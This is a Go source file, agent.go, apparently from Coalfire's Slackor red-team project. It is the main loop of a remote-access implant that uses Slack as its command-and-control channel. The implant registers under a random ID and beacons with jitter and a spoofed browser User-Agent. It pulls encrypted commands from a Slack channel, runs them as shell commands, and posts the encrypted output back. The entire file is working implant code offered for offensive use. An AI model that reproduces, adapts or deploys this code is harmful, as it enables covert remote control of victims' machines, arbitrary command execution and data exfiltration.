github.com/Coalfire-Research/Slackor@v0.0.0-20191010164036-aa32a7f9250b/agent.go (about)

     1  package main
     2  
     3  import (
     4  	"encoding/json"
     5  	"fmt"
     6  	"io/ioutil"
     7  	"log"
     8  	"math/rand"
     9  	"net"
    10  	"net/http"
    11  	"net/url"
    12  	"os"
    13  	"strings"
    14  	"time"
    15  
    16  	"github.com/Coalfire-Research/Slackor/internal/config"
    17  	"github.com/Coalfire-Research/Slackor/internal/crypto"
    18  	"github.com/Coalfire-Research/Slackor/internal/slack"
    19  	"github.com/Coalfire-Research/Slackor/pkg/command"
    20  
    21  	_ "github.com/Coalfire-Research/Slackor/pkg/common"
    22  	_ "github.com/Coalfire-Research/Slackor/pkg/darwin"
    23  	_ "github.com/Coalfire-Research/Slackor/pkg/linux"
    24  	_ "github.com/Coalfire-Research/Slackor/pkg/windows"
    25  
    26  	"github.com/mattn/go-shellwords"
    27  )
    28  
    29  //go:generate goversioninfo -icon=icon.ico -manifest=versioninfo.manifest
    30  
    31  // processedJobIDs tracks all job IDs previously processed by the implant
    32  var processedJobIDs = []string{}
    33  
    34  func checkErr(err error) { //Checks for errors
    35  	if err != nil {
    36  		if err.Error() != "The operation completed successfully." {
    37  			println(err.Error())
    38  			os.Exit(1)
    39  		}
    40  	}
    41  }
    42  
    43  func RandomString(len int) string { //Creates a random string of uppercase letters
    44  	bytes := make([]byte, len)
    45  	for i := 0; i < len; i++ {
    46  		bytes[i] = byte(65 + rand.Intn(25)) //A=65 and Z = 65+25
    47  	}
    48  	return string(bytes)
    49  }
    50  
    51  func randomFloat(min, max float64, n int) []float64 { //Creates a random float between to numbers
    52  	rand.Seed(time.Now().UnixNano())
    53  	res := make([]float64, n)
    54  	for i := range res {
    55  		res[i] = min + rand.Float64()*(max-min)
    56  	}
    57  	return res
    58  }
    59  
    60  func stringInSlice(a string, list []string) bool { // A way to check if something is in the slice
    61  	for _, b := range list {
    62  		if b == a {
    63  			return true
    64  		}
    65  	}
    66  	return false
    67  }
    68  
    69  func makeTimestamp(beacon int) string { //This makes the unix timestamp
    70  	t := time.Now().UnixNano() / int64(time.Microsecond)
    71  	//Minus the beacon time and three seconds from the last time it ran
    72  	t = (t / 1000000) - 3 - int64(beacon)
    73  	tee := fmt.Sprint(t)
    74  	return tee
    75  }
    76  
    77  func GetLANOutboundIP() string { // Get preferred outbound ip of this machine
    78  	conn, err := net.Dial("udp", "4.5.6.7:1337") //This doesn't actually make a connection
    79  	if err != nil {
    80  		log.Fatal(err)
    81  	}
    82  	defer conn.Close()
    83  	localAddr := conn.LocalAddr().(*net.UDPAddr)
    84  	IP := localAddr.IP.String()
    85  	return IP
    86  
    87  }
    88  
    89  func getVersion() string {
    90  	versionCmd := command.GetCommand("version")
    91  	if versionCmd != nil {
    92  		result, _ := versionCmd.Run("", "", []string{})
    93  		if result != "" {
    94  			return result
    95  		}
    96  		return "OS versioning error"
    97  	} else {
    98  		return "OS versioning unavailable"
    99  	}
   100  }
   101  
   102  func CheckCommands(t, clientID string) { //This is the main thing, reads the commands channel and acts accordingly
   103  	client := &http.Client{}
   104  	URL := "https://slack.com/api/channels.history"
   105  	v := url.Values{}
   106  	v.Set("channel", config.CommandsChannel)
   107  	v.Set("token", config.Token)
   108  	v.Set("oldest", t)
   109  	//pass the values to the request's body
   110  	req, _ := http.NewRequest("POST", URL, strings.NewReader(v.Encode()))
   111  	req.Header.Add("Authorization", "Bearer "+config.Bearer)
   112  	req.Header.Set("User-Agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:62.0) Gecko/20100101 Firefox/62.0")
   113  	req.Header.Add("Content-Type", "application/x-www-form-urlencoded")
   114  	resp, netError := client.Do(req)
   115  	if netError != nil {
   116  		fmt.Println("Connection error: " + netError.Error())
   117  		return
   118  	}
   119  	bodyText, _ := ioutil.ReadAll(resp.Body)
   120  	s := string(bodyText)
   121  	fmt.Println(s) //Just for debugging
   122  
   123  	type Auto struct { //This structure is for parsing the JSON
   124  		Ok       bool   `json:"ok"`
   125  		Error    string `json:"error"`
   126  		Messages []struct {
   127  			Type        string `json:"type"`
   128  			User        string `json:"user,omitempty"`
   129  			Text        string `json:"text"`
   130  			ClientMsgID string `json:"client_msg_id,omitempty"`
   131  			Ts          string `json:"ts"`
   132  			Username    string `json:"username,omitempty"`
   133  			BotID       string `json:"bot_id,omitempty"`
   134  			Subtype     string `json:"subtype,omitempty"`
   135  		} `json:"messages"`
   136  		HasMore bool `json:"has_more"`
   137  	}
   138  	var m Auto
   139  	json.Unmarshal([]byte(s), &m)
   140  	// If the error string exists, you are probably rate limited.  Sleep it off.
   141  	if m.Error != "" {
   142  		fmt.Println("Rate Limited, Sleeping for a bit...")
   143  		time.Sleep(time.Duration(randomFloat(1, 30, 1)[0]) * time.Second)
   144  	}
   145  	//This loops through each message
   146  	for _, Message := range m.Messages {
   147  		// this splits the different parts of the message
   148  		stringSlice := strings.Split(Message.Text, ":")
   149  		audienceID := stringSlice[0]
   150  		jobID := stringSlice[1]
   151  		cmdType := stringSlice[2]
   152  		encCmd := stringSlice[3]
   153  		// If the audienceID is for me (or all agents)
   154  		if audienceID == clientID || audienceID == "31337" {
   155  			// And this job has not yet been processed
   156  			if !stringInSlice(jobID, processedJobIDs) {
   157  				// append processed ID to the list of processed jobs
   158  				processedJobIDs = append(processedJobIDs, jobID)
   159  				fmt.Println(processedJobIDs)
   160  				/// Run stuff based on type
   161  				var data string
   162  				var err error
   163  				if encCmd != "" {
   164  					data, err = crypto.Decrypt(encCmd)
   165  					if err != nil {
   166  						fmt.Println("error:" + err.Error())
   167  						continue
   168  					}
   169  					fmt.Printf("data: %q\n", data)
   170  				}
   171  				cmdParser := shellwords.NewParser()
   172  				cmdParser.ParseEnv = config.ParseEnv
   173  				cmdParser.ParseBacktick = config.ParseBacktick
   174  				args, err := cmdParser.Parse(string(data))
   175  				if err != nil {
   176  					fmt.Println("error:" + err.Error())
   177  					continue
   178  				}
   179  
   180  				switch cmdType {
   181  				case "command":
   182  					go RunCommand(clientID, jobID, args)
   183  				default:
   184  					cmd := command.GetCommand(cmdType)
   185  					var result string
   186  					if cmd != nil {
   187  						result, err = cmd.Run(clientID, jobID, args)
   188  						if err != nil {
   189  							result = err.Error()
   190  						}
   191  					} else {
   192  						result = fmt.Sprintf("%s command unavailable", cmdType)
   193  					}
   194  					encryptedOutput, _ := crypto.Encrypt([]byte(result))
   195  					slack.SendResult(clientID, jobID, "output", encryptedOutput)
   196  				}
   197  			}
   198  		}
   199  	}
   200  	return
   201  }
   202  
   203  func RunCommand(clientID string, jobID string, args []string) { //This receives a command to run and runs it
   204  	var err error
   205  
   206  	cmdName := args[0]
   207  	var cmdArgs []string
   208  	cmd := command.GetCommand(cmdName)
   209  	if cmd != nil {
   210  		cmdArgs = args[1:]
   211  	} else {
   212  		cmdName = "execute"
   213  		cmd = command.GetCommand("execute")
   214  		cmdArgs = args
   215  	}
   216  	var result string
   217  	if cmd != nil {
   218  		result, err = cmd.Run(clientID, jobID, cmdArgs)
   219  		if err != nil {
   220  			result = err.Error()
   221  		}
   222  	} else {
   223  		result = fmt.Sprintf("%s command unavailable", cmdName)
   224  	}
   225  	encryptedOutput, _ := crypto.Encrypt([]byte(result))
   226  	slack.SendResult(clientID, jobID, "output", encryptedOutput)
   227  }
   228  
   229  func main() { //Main function
   230  	// Set config.OSVersion
   231  	cmd := command.GetCommand("version")
   232  	if cmd != nil {
   233  		cmd.Run("", "", []string{})
   234  	}
   235  
   236  	//Give the client a random ID
   237  	rand.Seed(time.Now().UTC().UnixNano())
   238  	clientID := RandomString(5)
   239  	// Register with server
   240  	slack.Register(clientID)
   241  	for {
   242  		// 20% Jitter
   243  		delay := randomFloat(float64(config.Beacon)*.8, float64(config.Beacon)*1.2, 1)
   244  		fmt.Println(delay) // Just for debugging
   245  		//Sleep for beacon interval + jitter
   246  		time.Sleep(time.Duration(delay[0]) * time.Second)
   247  		t := makeTimestamp(config.Beacon)
   248  		//Check if commands are waiting for us
   249  		CheckCommands(string(t), clientID)
   250  	}
   251  }